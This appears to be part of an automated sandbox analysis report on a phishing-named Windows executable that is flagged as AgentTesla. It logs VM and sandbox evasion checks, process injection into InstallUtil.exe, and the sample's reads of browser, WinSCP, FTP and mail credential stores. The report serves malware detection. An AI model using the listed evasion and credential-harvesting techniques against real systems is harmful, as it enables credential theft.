Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match	File source: Process Memory Space: inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe PID: 7256, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Egmgti.exe PID: 7972, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Egmgti.exe PID: 5864, type: MEMORYSTR

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe, 00000000.00000002.1293164853.00000000030D8000.00000004.00000800.00020000.00000000.sdmp, Egmgti.exe, 0000000A.00000002.1422897756.0000000002DD8000.00000004.00000800.00020000.00000000.sdmp, Egmgti.exe, 0000000D.00000002.1505625261.0000000002C48000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: SBIEDLL.DLL

Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Memory allocated: 1380000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Memory allocated: 3090000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Memory allocated: 5090000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 8D0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 2490000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 4490000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Memory allocated: 2C00000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Memory allocated: 2D90000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Memory allocated: 4D90000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 24F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 2660000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 4660000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Memory allocated: 1130000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Memory allocated: 2C00000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Memory allocated: 2A40000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 1660000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 3240000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 3040000 memory reserve \| memory write watch

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe, 00000000.00000002.1292611368.0000000001472000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll:
Source: Egmgti.exe, 0000000D.00000002.1500126572.0000000000DC8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll4
Source: Egmgti.exe, 0000000D.00000002.1505625261.0000000002C48000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SerialNumber0VMware\|VIRTUAL\|A M I\|XenDselect * from Win32_ComputerSystem
Source: InstallUtil.exe, 0000000B.00000002.1521969641.0000000005AA0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllG
Source: Egmgti.exe, 0000000D.00000002.1505625261.0000000002C48000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: model0Microsoft\|VMWare\|Virtual
Source: InstallUtil.exe, 00000009.00000002.1431022569.0000000004C82000.00000004.00000020.00020000.00000000.sdmp, Egmgti.exe, 0000000A.00000002.1419947026.0000000001044000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 0000000E.00000002.2532004656.00000000064D0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 530000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 740000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000 value starts with: 4D5A	Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 530000	Jump to behavior
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 532000	Jump to behavior
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 56C000	Jump to behavior
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 56E000	Jump to behavior
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 3D2008	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 740000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 742000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 77C000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 77E000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 4D7008	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 402000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 43C000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 43E000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 10D1008	Jump to behavior

Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"	Jump to behavior

Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Queries volume information: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Queries volume information: C:\Users\user\AppData\Roaming\Egmgti.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Queries volume information: C:\Users\user\AppData\Roaming\Egmgti.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation

Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected AgentTesla

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 9.2.InstallUtil.exe.530000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.Egmgti.exe.3ee0f08.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.Egmgti.exe.3ee0f08.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe.42bfbd0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe.42bfbd0.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe.41f41b0.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe.41a5990.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000E.00000002.2520008251.000000000328E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1447777851.0000000003EE0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1293164853.00000000034AD000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.1423172719.00000000024DE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1311199102.000000000435B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1422897756.0000000002F08000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.1423172719.0000000002491000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.1505625261.0000000002C48000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.1420182584.0000000000532000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.1504620567.00000000026AE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.1537444101.0000000003DE8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2520008251.0000000003277000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.1504620567.000000000266C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1311199102.00000000041A5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1447777851.0000000003F79000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe PID: 7256, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 7816, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Egmgti.exe PID: 7972, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 8048, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Egmgti.exe PID: 5864, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 2116, type: MEMORYSTR

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\NETGATE Technologies\BlackHawk\profiles.ini
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\8pecxstudios\Cyberfox\profiles.ini
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data

Tries to harvest and steal ftp login credentials

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

File opened: C:\FTP Navigator\Ftplist.txt

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities

Source: Yara match	File source: 9.2.InstallUtil.exe.530000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.Egmgti.exe.3ee0f08.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.Egmgti.exe.3ee0f08.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe.42bfbd0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe.42bfbd0.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe.41f41b0.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe.41a5990.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000002.1447777851.0000000003EE0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1293164853.00000000034AD000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1311199102.000000000435B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1422897756.0000000002F08000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.1423172719.0000000002491000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.1505625261.0000000002C48000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.1420182584.0000000000532000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.1537444101.0000000003DE8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.1504620567.000000000266C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1311199102.00000000041A5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
